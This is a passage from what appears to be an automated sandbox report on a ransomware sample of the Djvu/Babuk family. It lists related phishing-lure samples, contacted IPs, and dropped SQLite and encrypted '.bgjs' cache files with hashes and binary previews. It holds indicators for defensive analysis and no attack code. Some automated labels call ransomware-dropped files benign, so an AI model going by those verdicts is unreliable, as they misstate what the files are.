	transferencia.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.30.90.143
	1000901 LIQUIDACION.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.139.220 184.30.90.143
	Zapytanie ofertowe (7427-23 ROCKFIN).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.30.90.143
	Factura240413227178.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.30.90.143
	Price request N#U00b0DEM23000199.js	Get hash	malicious	AsyncRAT, PureLog Stealer, RedLine	Browse	172.67.139.220 184.30.90.143
	orden de compra.vbs	Get hash	malicious	AgentTesla	Browse	172.67.139.220 184.30.90.143
	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	172.67.139.220 184.30.90.143
	DHL Shipping doc.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.30.90.143

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGCFBGDHJKFIEBFIECGH

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKJDGCGD

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDBFBGI

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	modified
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIDHCAAKECGCBFIJDBAAFBGH

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKKFBAE

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEHJJK

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDHIEGIIIECAKEBFBAA

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.666527291648565
Encrypted:	false
SSDEEP:	12:km9U2NvVCzzsJ87PKrvy3rfEoKARriYBv3zVGE4O5QspYOIuOcii9a:PUitC3sJ82LybNHRmYBv3o3cYEObD
MD5:	F37A6A02E7668A6D4A6C85360464C82A
SHA1:	64D87386BDF4CEBEDA842805879874A88FA23980
SHA-256:	D470262190AF077C1664DE43DE043062777B5E82EF30A5AB881BFCA9C212F05E
SHA-512:	CD2A76DA2D7F5EFB905A7F139D20A89A4C583CD851A583BB06234024612F067740A6EAEFDCC319A88D48B876FF86E90FD1052D259A23855B4868C66907E59035
Malicious:	false
Preview:	2023/X.LY..........g$....r..!.\R....$..Z...s..(...H..\|:..3.+...V...O.&.l.......x&.......[7.2..b[..z..q.....G.$...`....)FWar>.......9...)n)./..oe..6~.%$..K.1w.6....m-.T...j..e&.P.C....N..R...eg;.fu..h_N.'a.....8:..z.l...#../....9..J.-..M$".c......pf.VE...l.._t<d..R..P...B.....P6.v#+oN9ll9\|.q.}.8..M.k....i.....4....4.....Q\|bz....'5...;........l... ....{.!.....l...o?ix..~.1...3...JRG..n.... ....]..X...).....\|QS.u.S.i...={..[..Az..:h#.4.....3..[:.H.....\|.....V.T.;....x..[s[.n......EX..H....qP~..}...lDv...W$.r*.$.3...@...&.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.666527291648565
Encrypted:	false
SSDEEP:	12:km9U2NvVCzzsJ87PKrvy3rfEoKARriYBv3zVGE4O5QspYOIuOcii9a:PUitC3sJ82LybNHRmYBv3o3cYEObD
MD5:	F37A6A02E7668A6D4A6C85360464C82A
SHA1:	64D87386BDF4CEBEDA842805879874A88FA23980
SHA-256:	D470262190AF077C1664DE43DE043062777B5E82EF30A5AB881BFCA9C212F05E
SHA-512:	CD2A76DA2D7F5EFB905A7F139D20A89A4C583CD851A583BB06234024612F067740A6EAEFDCC319A88D48B876FF86E90FD1052D259A23855B4868C66907E59035
Malicious:	false
Preview:	2023/X.LY..........g$....r..!.\R....$..Z...s..(...H..\|:..3.+...V...O.&.l.......x&.......[7.2..b[..z..q.....G.$...`....)FWar>.......9...)n)./..oe..6~.%$..K.1w.6....m-.T...j..e&.P.C....N..R...eg;.fu..h_N.'a.....8:..z.l...#../....9..J.-..M$".c......pf.VE...l.._t<d..R..P...B.....P6.v#+oN9ll9\|.q.}.8..M.k....i.....4....4.....Q\|bz....'5...;........l... ....{.!.....l...o?ix..~.1...3...JRG..n.... ....]..X...).....\|QS.u.S.i...={..[..Az..:h#.4.....3..[:.H.....\|.....V.T.;....x..[s[.n......EX..H....qP~..}...lDv...W$.r*.$.3...@...&.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.652211044123682
Encrypted:	false
SSDEEP:	12:kyFbqRqo9UvkCVk2qKXpjbMl2RXZloShidcAgr9iDINQwlD+BWeja7Ct06hfuOcq:Z2vCaEMlSXsSUuVQ8iWOaX6hmObD
MD5:	357E3A95D6EA8655638FA969B2D781CF
SHA1:	84081E3F286E6ED33BEF7AA151A47CECFFCF16F8
SHA-256:	F6C61366395E86E51138C4AA1B69EA287FC46F0FB29236BB80B308EA6367D250
SHA-512:	714E8A3CF6E98C01118804A52277A57D7F187B65C45A2BEA0DC5E095511EF480B584128E000D18843A785925C0D26DDAEAFDAC39F73F174398E07CEF6BBD0F32
Malicious:	false
Preview:	2023/.Sc.=.mK5..U.r....w...........:r.$[.s..+.w?...rX.A.Z1...f..bJm..4..?....tj@......'#..C.>.#.v. .[.{81.Wnr.o*5.._.zK..Ug..,.a..o.>.....}...N.....h.5=..:.2_.E.j..{^b... ......b~S..!{`.;..m:K.Z6..9..Y..k~O..QG......)).W..W..?.].yX..Ry{....{`F.U..m..R.......5x.>..........k..g.. ......EM.Fr.Z6=..cv...I...+%...d{...w..pT&.....U...1...=...w.......-$..>An......8L.....P.......E...E.....].b._.5........"....b..a..xE....zR.I.B.....].+.[A`.f..^.v...oWD3.%V......U.R>....d(N9.w.f..f.'...&..... vUX.JI.....=p/.C.8.(.b..=j...I...`......pG.R. ..`4...&B.....p.5.#O..X..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.652211044123682
Encrypted:	false
SSDEEP:	12:kyFbqRqo9UvkCVk2qKXpjbMl2RXZloShidcAgr9iDINQwlD+BWeja7Ct06hfuOcq:Z2vCaEMlSXsSUuVQ8iWOaX6hmObD
MD5:	357E3A95D6EA8655638FA969B2D781CF
SHA1:	84081E3F286E6ED33BEF7AA151A47CECFFCF16F8
SHA-256:	F6C61366395E86E51138C4AA1B69EA287FC46F0FB29236BB80B308EA6367D250
SHA-512:	714E8A3CF6E98C01118804A52277A57D7F187B65C45A2BEA0DC5E095511EF480B584128E000D18843A785925C0D26DDAEAFDAC39F73F174398E07CEF6BBD0F32
Malicious:	false
Preview:	2023/.Sc.=.mK5..U.r....w...........:r.$[.s..+.w?...rX.A.Z1...f..bJm..4..?....tj@......'#..C.>.#.v. .[.{81.Wnr.o*5.._.zK..Ug..,.a..o.>.....}...N.....h.5=..:.2_.E.j..{^b... ......b~S..!{`.;..m:K.Z6..9..Y..k~O..QG......)).W..W..?.].yX..Ry{....{`F.U..m..R.......5x.>..........k..g.. ......EM.Fr.Z6=..cv...I...+%...d{...w..pT&.....U...1...=...w.......-$..>An......8L.....P.......E...E.....].b._.5........"....b..a..xE....zR.I.B.....].+.[A`.f..^.v...oWD3.%V......U.R>....d(N9.w.f..f.'...&..... vUX.JI.....=p/.C.8.(.b..=j...I...`......pG.R. ..`4...&B.....p.5.#O..X..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.716651652088244
Encrypted:	false
SSDEEP:	24:YKW8Wpl7zD2Fh+DCa0E0yZUUjLe9xMmT1pwzpMojObD:YqWrvIhxIZHCMmgzuoYD
MD5:	0B6ACA17D4CE4CECAAAFDE6635D389D0
SHA1:	E19199AD7825876FC5E6547D9108DD0F7085C9B6
SHA-256:	DC16A3CF4A98D52AD9BE3A1725DD46F18AB3DE86CE5ED1860ACA964F11BC2824
SHA-512:	41C31A6F6BE59D6C33FC5D7A31F06F5A753A668012412752D77826057798E7758D90BEDCA70DB02730330D32F9FB4610029C8C509576DC15F6D70C159B120D7F
Malicious:	false
Preview:	{"os_O.. ij.g.....S.h.~vt..W=..Bv ...j";N.0l...\.tI.mLH.<..@.f,H..p.y.P..,..$..}=:.~...p....T.e.`...:4...J...ag.F^......7.....L9}`.>.xi.........uw%Fx{w.z.VE.t.5.J...C.F/4...J..5.......U...z...5.v.....L...W..Y...<.(..O..C.=X..t.........y......K........yu.B.....l.^...=..J%8.Z[....l!....=gn.O.B..z.zO9...CrP.\6. .WN.-......U...6.a....~.....<u_ ..j....7.tQ.6PxY>!S.0!...e.K.'."8.P~.[`.EL^T..l7=.@.`Q.a.wNiG..!^..b..v..d.....-].c.Y.2.S..#.E.s.P...F.,..F.T....B.\].rM.....^kB..M..G...`77+..{.f.)Il....2v.....&\|.Nf...?......G.P...9...0..Wd.23..2.....n.%.B=l`..~:.+.P.....g.......\W......C=...jx..A(....CbF.h...-.4`y@...+.+.\...Vy6B.<......~'j..>......j.#...j]...8L1..$..u5.....+...^...*$s...HS...fR..5....NJ0.m..ty.&.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.716651652088244
Encrypted:	false
SSDEEP:	24:YKW8Wpl7zD2Fh+DCa0E0yZUUjLe9xMmT1pwzpMojObD:YqWrvIhxIZHCMmgzuoYD
MD5:	0B6ACA17D4CE4CECAAAFDE6635D389D0
SHA1:	E19199AD7825876FC5E6547D9108DD0F7085C9B6
SHA-256:	DC16A3CF4A98D52AD9BE3A1725DD46F18AB3DE86CE5ED1860ACA964F11BC2824
SHA-512:	41C31A6F6BE59D6C33FC5D7A31F06F5A753A668012412752D77826057798E7758D90BEDCA70DB02730330D32F9FB4610029C8C509576DC15F6D70C159B120D7F
Malicious:	false
Preview:	{"os_O.. ij.g.....S.h.~vt..W=..Bv ...j";N.0l...\.tI.mLH.<..@.f,H..p.y.P..,..$..}=:.~...p....T.e.`...:4...J...ag.F^......7.....L9}`.>.xi.........uw%Fx{w.z.VE.t.5.J...C.F/4...J..5.......U...z...5.v.....L...W..Y...<.(..O..C.=X..t.........y......K........yu.B.....l.^...=..J%8.Z[....l!....=gn.O.B..z.zO9...CrP.\6. .WN.-......U...6.a....~.....<u_ ..j....7.tQ.6PxY>!S.0!...e.K.'."8.P~.[`.EL^T..l7=.@.`Q.a.wNiG..!^..b..v..d.....-].c.Y.2.S..#.E.s.P...F.,..F.T....B.\].rM.....^kB..M..G...`77+..{.f.)Il....2v.....&\|.Nf...?......G.P...9...0..Wd.23..2.....n.%.B=l`..~:.+.P.....g.......\W......C=...jx..A(....CbF.h...-.4`y@...+.+.\...Vy6B.<......~'j..>......j.#...j]...8L1..$..u5.....+...^...*$s...HS...fR..5....NJ0.m..ty.&.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.957589632836431
Encrypted:	false
SSDEEP:	96:1nfVpE5LBqrw/6f+eQs760e2FjLiKwdf/Sbf8:E362eQs760jLE
MD5:	877BE86BA8E3E2989273E66ED8160EA1
SHA1:	DE57381853888E55F3B5C3EF189BE8A347898856
SHA-256:	9D6F0D41F43DFEA4D893320B16BB747FF4A7F5016E00285F36BA0F70773C1281
SHA-512:	90DF07EBA40139B2BCB470E2D719EB5EEC17C5257DF42E6F7C7BBA1081693DC49BF46FF48D9E446226F2C3C06067D6740F51C8676202522181228F9FDBB9A1E9
Malicious:	false
Preview:	...#.&8.......L.ye.W..i..j....W.%\|..Y.....3.m..xT.-...4..........~.....d..Y.+.P...1..]..z`P\+..:U..K..FI......l..\[.M..,.\|wu.v..p...M....\|.i...j+.=..u.>?.\B..HG..R.rEPP.E!....S8] AL.....F.].../(.]...5)..$...:......./..${..K^E.....<..(i.~.......f......3.qQ....x.A].}.'D'..5}ar.^.zV%.B..,a.......D."....c..R./g M.....qVI......=i...)..U.1......Zq...\.J..E....}.&Q ....v....J]j........g.]W;./.2B....}9...>......b80....l.n!....v[Sdl.W.........j.7..C.k....pS!O.S_..s.n.X8.Z...t..d.}..#1...<..%..U.........V....}.RM..+.7G...X..(ih..w.(?.........D....&x...\|W..o{I..Dc..SeO....b..S.p.zqPH..X.....l....V...;........).....<O...3.x....j.a.`.fa=..p^.q'.n.>....9..V...><..m.H'.....,.Ti.r.?\.2.........y.`.H)....M....u .!..P..&..He..[d..\HT/{PL.....:..'..v.,?....S..r........E.k.....V....w<R..x.y50.A<H..<k.K.J.u.Y.v..q. =.i..N...^.....)t.U....qs..S.C.;...P...'.eG..6..+.]E....[..9..[...8zL....k....z.......Z..N...s*&E1u.{.f0.WM<..x...<..A..qa..Q.."....9.n?tH.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.957589632836431
Encrypted:	false
SSDEEP:	96:1nfVpE5LBqrw/6f+eQs760e2FjLiKwdf/Sbf8:E362eQs760jLE
MD5:	877BE86BA8E3E2989273E66ED8160EA1
SHA1:	DE57381853888E55F3B5C3EF189BE8A347898856
SHA-256:	9D6F0D41F43DFEA4D893320B16BB747FF4A7F5016E00285F36BA0F70773C1281
SHA-512:	90DF07EBA40139B2BCB470E2D719EB5EEC17C5257DF42E6F7C7BBA1081693DC49BF46FF48D9E446226F2C3C06067D6740F51C8676202522181228F9FDBB9A1E9
Malicious:	false
Preview:	...#.&8.......L.ye.W..i..j....W.%\|..Y.....3.m..xT.-...4..........~.....d..Y.+.P...1..]..z`P\+..:U..K..FI......l..\[.M..,.\|wu.v..p...M....\|.i...j+.=..u.>?.\B..HG..R.rEPP.E!....S8] AL.....F.].../(.]...5)..$...:......./..${..K^E.....<..(i.~.......f......3.qQ....x.A].}.'D'..5}ar.^.zV%.B..,a.......D."....c..R./g M.....qVI......=i...)..U.1......Zq...\.J..E....}.&Q ....v....J]j........g.]W;./.2B....}9...>......b80....l.n!....v[Sdl.W.........j.7..C.k....pS!O.S_..s.n.X8.Z...t..d.}..#1...<..%..U.........V....}.RM..+.7G...X..(ih..w.(?.........D....&x...\|W..o{I..Dc..SeO....b..S.p.zqPH..X.....l....V...;........).....<O...3.x....j.a.`.fa=..p^.q'.n.>....9..V...><..m.H'.....,.Ti.r.?\.2.........y.`.H)....M....u .!..P..&..He..[d..\HT/{PL.....:..'..v.,?....S..r........E.k.....V....w<R..x.y50.A<H..<k.K.J.u.Y.v..q. =.i..N...^.....)t.U....qs..S.C.;...P...'.eG..6..+.]E....[..9..[...8zL....k....z.......Z..N...s*&E1u.{.f0.WM<..x...<..A..qa..Q.."....9.n?tH.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6475755069120614
Encrypted:	false
SSDEEP:	12:kYOdXU9wWQniS0GDIajSxNlv9n38a13U8WxHDtySfyqZ0LuOcii9a:Di/HBIx5lndABjfz0aObD
MD5:	59D0F3D5233247C1B2C905658474B7BE
SHA1:	9BA6DD4B9427C1367BBABF42C538F6BF4678E7B5
SHA-256:	AFA1DCBE9B49D0B90BBD7C1D27921A0F3B25AE086E8456B1019B3C5B6D3541C9
SHA-512:	8B84793EE845EF890A302D0DB0BB6262BFE80A30179B8F3D8AB0FB85397B5E55845523BE10AE612392A89D37D65319F6AA23B6A9AE74DE291EFCBB69E7CCCF52
Malicious:	false
Preview:	2023/...$.....AD.5X.;...^.....C.x.nI.......d..T...u. <.[.O".^....&A.....L(..X.?..R.>..=..a....e=.=..\5...d....+....<.!..8...:...z.AP.@.*p..p.....6.x...$.........0.......\...LD.o.]c..,..!.j....X..f\..9...&....?y.Z....4..nPV.I(.... E..%iO.3%....X..$c...!~"D.)\|..+.....m..D.1.w../@...r:..&...`2.R..+.4.l.a9kb9....&......9q+m:........s ^..J.....J...kA.w0...l..`l..;P.k.@.w....Lp....(..X'....lB&...kOJ..H..[..).9...d.p.].."..4[.owl.....o.....T.:..p.;C..pg...K........!...C..,+.....k.i8.3.\|..'S.o....._.#Z/.tcM..K.".....^..)$...'........<Zi...8.........X..>.kZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6475755069120614
Encrypted:	false
SSDEEP:	12:kYOdXU9wWQniS0GDIajSxNlv9n38a13U8WxHDtySfyqZ0LuOcii9a:Di/HBIx5lndABjfz0aObD
MD5:	59D0F3D5233247C1B2C905658474B7BE
SHA1:	9BA6DD4B9427C1367BBABF42C538F6BF4678E7B5
SHA-256:	AFA1DCBE9B49D0B90BBD7C1D27921A0F3B25AE086E8456B1019B3C5B6D3541C9
SHA-512:	8B84793EE845EF890A302D0DB0BB6262BFE80A30179B8F3D8AB0FB85397B5E55845523BE10AE612392A89D37D65319F6AA23B6A9AE74DE291EFCBB69E7CCCF52
Malicious:	false
Preview:	2023/...$.....AD.5X.;...^.....C.x.nI.......d..T...u. <.[.O".^....&A.....L(..X.?..R.>..=..a....e=.=..\5...d....+....<.!..8...:...z.AP.@.*p..p.....6.x...$.........0.......\...LD.o.]c..,..!.j....X..f\..9...&....?y.Z....4..nPV.I(.... E..%iO.3%....X..$c...!~"D.)\|..+.....m..D.1.w../@...r:..&...`2.R..+.4.l.a9kb9....&......9q+m:........s ^..J.....J...kA.w0...l..`l..;P.k.@.w....Lp....(..X'....lB&...kOJ..H..[..).9...d.p.].."..4[.owl.....o.....T.:..p.;C..pg...K........!...C..,+.....k.i8.3.\|..'S.o....._.#Z/.tcM..K.".....^..)$...'........<Zi...8.........X..>.kZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.4461214694620255
Encrypted:	false
SSDEEP:	6:xJqeJ8jKVc9TKlFVbsapUIbQrHS71kWhUJb/7aVL7rnlCHKElaFBaJuBscii96Z:bqK8jKVcRIbx2aVLvlCqMaeuOcii9a
MD5:	7C3A60CD156A98823DA51B7A880A5FCF
SHA1:	4B6894796223F1536ADECA14650A57DD4F344BDA
